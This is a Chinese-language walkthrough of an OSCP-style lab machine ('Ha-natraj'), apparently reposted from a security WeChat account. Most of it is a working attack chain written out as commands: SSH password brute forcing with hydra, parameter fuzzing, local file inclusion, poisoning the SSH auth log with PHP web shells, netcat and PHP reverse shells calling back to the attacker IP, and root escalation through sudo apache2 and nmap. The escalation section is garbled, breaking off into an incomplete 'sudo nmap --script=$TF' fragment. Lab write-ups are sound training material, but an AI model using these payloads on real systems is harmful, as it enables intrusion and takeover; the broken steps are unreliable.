OSCP系列靶场-Esay-Ha-natraj
2024-1-15 22:22:24 Author: 渗透安全团队(查看原文) 阅读量:23 收藏

OSCP系列靶场-Esay-Ha-natraj

总结

getwebshell → 目录扫描发现端点 → 发现文件读取 → 验证确认是文件包含 → 包含了ssh登录日志 → 反弹shell包含

提 权 思 路 → 发现sudo级别的apache2服务 → apache2服务启动时修改其用户权限 → 重启apache2从目录权限提升到用户权限 → sudo-nmap权限提升

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.172

  • 启动靶机
    获取目标机器IP → 192.168.179.80

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次

  1. ┌──(rootKali)-[/home/bachang/Ha-natraj]

  2. └─# sudo nmap --min-rate 10000 -p- 192.168.179.80

  3. Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 10:09 CST

  4. Nmap scan report for 192.168.179.80

  5. Host is up (0.31s latency).

  6. Not shown: 65533 closed tcp ports (reset)

  7. PORT STATE SERVICE

  8. 22/tcp open ssh

  9. 80/tcp open http

  10. Nmap done: 1 IP address (1 host up) scanned in 11.53 seconds


通过两次收集到的端口:→22,80

目标端口对应服务探测

  1. ┌──(rootKali)-[/home/bachang/Ha-natraj]

  2. └─# sudo nmap -sT -sV -O -sC -p22,80 192.168.179.80

  3. PORT STATE SERVICE VERSION

  4. 22/tcp open ssh OpenSSH 7.6p1 Ubuntu

  5. 80/tcp open http Apache httpd 2.4.29

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测的版本为OpenSSH 7.6p1 Ubuntu

  1. # 搜索对应脚本

  2. msf6 searchsploit OpenSSH 7.6p1

发现是类似与用户枚举(待定)

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

  1. ssh root @192.168.179.80 -v

  2. # 如果显示publickey、password就是都支持

支持密钥和密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

  1. sudo ssh root @192.168.179.80 -p 22

  2. # 密码尝试

  3. password root

22-SSH弱口令爆破(等待结果)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

  1. hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.80 ssh -s 22

80-HTTP端口的信息收集

访问 http://192.168.179.80:80 不是CMS我们直接从源码信息收集开始
查看发现偏向一个个人网站,如果没思路可以制作cewl字典尝试爆破

信息收集-源码查看

  1. # 包括文章中是否写明一些敏感信息

  2. curl http://192.168.179.80:80

  3. # 利用html2text转换纯文本方便查看

  4. curl http://192.168.179.80:80 | html2text

没发现什么内容

信息收集-目录扫描

信息收集-目录扫描初步

如果扫描发现301适当考虑 -r 2 进行递归

  1. dirsearch -u http://192.168.179.80:80 -x 302,403

因为扫出了目录,深层次的扫描待选

  1. 信息收集-目录扫描(后缀)

  2. 信息收集-目录扫描(深度/大字典)

  3. 信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

/images/端点
访问发现存在目录遍历,但是里面都是图片,推测有隐写术


/console端点
与上面端点同理,发现了一个php的文件

php文件参数探究

访问该文件发现是空白


添加~后无法查看php源码

暴力破解-参数名破解FUZZ

fuzz一下参数,确定是什么参数,指定了一本目录字典

  1. # -u 指定URL FUZZ 暴力破解的地方 -w 指定字典 -fs 0 不限制文件大小

  2. ffuf -u 'http://192.168.179.80:80/console/file.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0


爆破了好久,发现存在参数file

漏洞利用-getwebshell

/console/file.php功能探索

首先我们发现能看到/etc/passwd下的文件说明存在的是
存在文件读取绝对路径

漏洞利用-用户名/密码读取

Linux下passwd读取账户信息,为后续攻击做准备

  1. # /etc/passwd获取账户信息

  2. ?file=/etc/passwd

  3. # /etc/shadow读取加密密码

  4. ?file=/etc/shadow

读到了用户名mahakal可以后期用来爆破


说明不是root权限,读取不到shadow

漏洞利用-用户名敏感文件(私钥读取)

  1. # 尝试去home目录下读取私钥

  2. ?file=/home/mahakal/.ssh/id_rsa

  3. # 尝试读取home目录下的历史信息

  4. ?file=/home/mahakal/.bash_history

文件包含突破

为什么我会用来读取文件呢?万一是文件包含岂不是美滋滋。
下面是常见日志

  1. /var/log/acpid

  2. /var/run/utmp

  3. /var/log/lastlog

  4. /var/log/btmp

  5. /var/log/dmesg

  6. /var/log/cpus

  7. /var/log/syslog

  8. /var/log/auth.log

  9. /var/log/daemon.log

所以我应该确认是文件读取还是包含,根据ssh可以登录我们查看一下ssh的日志处/var/log/auth.log

  1. curl http://192.168.179.80/console/file.php?file=/var/log/auth.log

看到了一大堆我的爆破日志

尝试在登录3次,分别以代码类型的用户以及非代码类型的用户,通过.php文件我们确定脚本语言

获取账号密码之后利用SSH进行登录

  1. ssh test @192.168.179.80 -p22

  1. # 踩坑直接写入是不行的

  2. ssh <?php phpinfo();?> @192.168.179.80 -p22

  3. # 带上双引号

  4. ssh '<?php phpinfo();?>' @192.168.179.80 -p22

证明是文件包含而不是文件读取

文件包含反弹shell

  1. # 攻击机开启监听

  2. sudo nc -lvnp 6666

  1. # 在存在文件包含的前提下,访问日志创造nc反弹shell

  2. <?php system('nc -e /bin/bash 192.168.45.172 6666'); ?>

  3. # 利用ssh登录

  4. ssh '<?php system("nc -e /bin/bash 192.168.45.177 6666"); ?>' @192.168.179.80 -p22

  5. # 访问日志文件包含

  6. curl http://192.168.179.80/console/file.php?file=/var/log/auth.log

发现好像被我玩崩了 ,重启靶场接着实验


重新选择文件包含内容

  1. # 在存在文件包含的前提下,访问日志创造反弹shell

  2. <?php system($_GET[YaoRuo]); ?>

  3. # 利用ssh登录

  4. ssh '<?php system($_GET[YaoRuo]); ?>' @192.168.179.80 -p22

  5. # 验证

  6. curl http://192.168.179.80/console/file.php?file=/var/log/auth.log&amp;YaoRuo=whoami

这边用了whoami实在是太多了,换成了cat读取,发现命令执行成功

在构造反弹shell的时候最保险的方法还是利用现在已知的php

反弹shell-php

  1. # 构造php反弹shell

  2. php -r '$sock=fsockopen("192.168.45.177",6666);exec("/bin/sh -i &amp;3 2→&amp;3");'

  3. # url编码

  4. php%20-r%20'%24sock%3Dfsockopen(%22192.168.45.177%22%2C4455)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'

  5. # 访问

  6. http://192.168.179.80/console/file.php?file=/var/log/auth.log&amp;YaoRuo=php%20-r%20'%24sock%3Dfsockopen(%22192.168.45.179%22%2C4455)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'

反弹成功

内网遨游-getshell

交互shell

交互shell-python

由于获取的shell交互不友好,利用python获得新的交互shell

  1. python -c "import pty;pty.spawn('/bin/bash')";

  2. # 利用python获取交互shell -→ python失败使用python3

  3. python3 -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

  1. www-data @ubuntu:/var/www/html/console$ find / -name local.txt 2→/dev/null

  2. /var/www/local.txt

  3. www-data @ubuntu:/var/www/html/console$ cat /var/www/local.txt

  4. 90c36356bd71bb3500456a09d600e7fc

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

  1. # 确定发行版本

  2. www-data @ubuntu:/var/www/html/console$ lsb_release -a

  3. No LSB modules are available.

  4. Distributor ID: Ubuntu

  5. Description: Ubuntu 18.04 LTS

  6. Release: 18.04

  7. Codename: bionic

发行版本为Ubuntu 18.04,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

  1. www-data @ubuntu:/var/www/html/console$ uname -a

  2. Linux ubuntu 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

内核版本为4.15.0

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

  1. # 利用sudo -l寻找

  2. www-data @ubuntu:/var/www/html/console$ sudo -l

  3. sudo -l

  4. Matching Defaults entries for www-data on ubuntu:

  5. env_reset, mail_badpass,

  6. secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

  7. User www-data may run the following commands on ubuntu:

  8. (ALL) NOPASSWD: /bin/systemctl start apache2

  9. (ALL) NOPASSWD: /bin/systemctl stop apache2

  10. (ALL) NOPASSWD: /bin/systemctl restart apache2

发现可以sudo启动、停止、重启apache2服务

apache2文件枚举

这时候尝试查看apache2的内容是否可操作

  1. find / -name apache2 2→/dev/null

  2. /etc/php/7.2/apache2

  3. /etc/cron.daily/apache2

  4. /etc/apache2

  5. /etc/logrotate.d/apache2

  6. /etc/ufw/applications.d/apache2

  7. /etc/init.d/apache2

利用搜索命令,重点关注的应该是etc下的内容


在痛苦的枚举过程中发现了一个可以写入的文件apache2.conf

  1. # 进入查看内容

  2. cat /etc/apache2/apache2.conf

翻阅发现这是apache2的主配置文件

在文件系统上,Apache进程通常以指定的用户身份运行,以限制对文件和目录的访问权限。在这里面是变量,我是否可以修改成其他用户?比如root

权限提升

修改配置文件指定用户身份提权1(失败)

在里面尝试查看编辑器发现了nano但是无法使用


在里面发现操作不是很友好,先把这个文件cp到攻击机上


修改里面的用户和组为root上传

  1. sed -i 's/User ${APACHE_RUN_USER}/User root/g' apache2.conf

  2. sed -i 's/Group ${APACHE_RUN_GROUP}/Group mahakal/g' apache2.conf

  1. # 利用python开启http服务,方便目标机器上下载文件

  2. sudo python3 -m http.server 80

  1. # 目标机器到tmp目录下下载(有下载权限)

  2. cd /tmp

  3. # 下载

  4. wget http://192.168.45.179:80/apache2.conf

  5. # 给权限

  6. chmod +x apache2.conf

  7. # 覆盖

  8. cp apache2.conf /etc/apache2/apache2.conf

  1. # 上传完后想重启服务发现权限不够

  2. systemctl restart apache2

  3. # 想起sudo

  4. sudo /bin/systemctl restart apache2

ping的到却访问不到,遇到了新的问题


重启了apache2之后访问不到网站了

  1. # 靶场存在一些问题,在重启之后再开启一次

  2. sudo /bin/systemctl stop apache2

  3. sudo /bin/systemctl start apache2

修改配置文件指定用户身份提权2(失败)

网站崩溃了,访问不到特定的内容,尝试上传反弹shell
兜兜转转很久,思考可能直接覆盖了root不行,决定添加2行不破坏apache2的完整性


重启apache2之后还是访问不到

修改配置文件指定用户身份提权3(失败)

在经历了上述访问不到的事件之后清楚apache2重新启动是要时间的
另外修改出去再复制进去的方法不保险,了解了之后清楚在/etc/apache2下修改不太行,可以先copy出来,利用sed

  1. www-data @ubuntu:/var/www/html/console$ cp /etc/apache2/apache2.conf .

  2. cp /etc/apache2/apache2.conf .

  3. www-data @ubuntu:/var/www/html/console$ sed -i 's/User ${APACHE_RUN_USER}/User root/g' apache2.conf

  4. $TF

  5. sudo nmap --script=$TF

照着命令成功提权

FLAG2获取

  1. # cat /root/proof.txt

  2. 63b489d7c2affe8892089d178b1900f7

完结撒花~

思考

这个靶场的外网命令敲崩了好几次,直接php反弹不太行,还要通过一句话+反弹
这个靶场的内网提权绕了很久,apache2服务一直启动不成功
应该在等待一会,并且尽量不下载出来在原生的基础上改,发现改不了的话可以尝试cp到有权限的目录下利用sed
在配置apache2权限的时候应该注意不能直接提升到root,只能提升到其他用户


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247514010&idx=2&sn=be53b078dfd0b680eb04dfdd49bdaea1&chksm=c0843be1cb092e3f29232c4729e515c0039e93207a2fb1eddebe7ee622822c07a5c776b33241&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh